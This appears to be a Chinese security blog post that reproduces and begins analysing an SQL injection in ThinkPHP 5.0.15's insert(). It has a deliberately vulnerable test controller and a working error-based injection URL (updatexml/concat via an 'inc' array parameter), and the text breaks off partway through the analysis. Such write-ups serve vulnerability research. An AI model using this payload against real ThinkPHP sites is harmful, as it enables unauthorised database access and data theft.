前一阵,用这个方法拿了一些洞
前言
漏洞复现
搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和username
thinkphp官网下载5.0.15版本: http://www.thinkphp.cn/down/1125.html 。修改数据库配置信息 application/database.php。在 application/config.php 中打开调试和trace,app_debug
和app_trace
均为true。在 application/index/controller/Index.php 中Index类中添加方法:
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}
访问:
http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
漏洞分析
通过input获取到参数后,username
变量情况如下:
跟入insert,thinkphp/library/think/db/Query.php:2078
<?php
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
...
接下去执行:
php
点击收藏 | 1
关注 | 2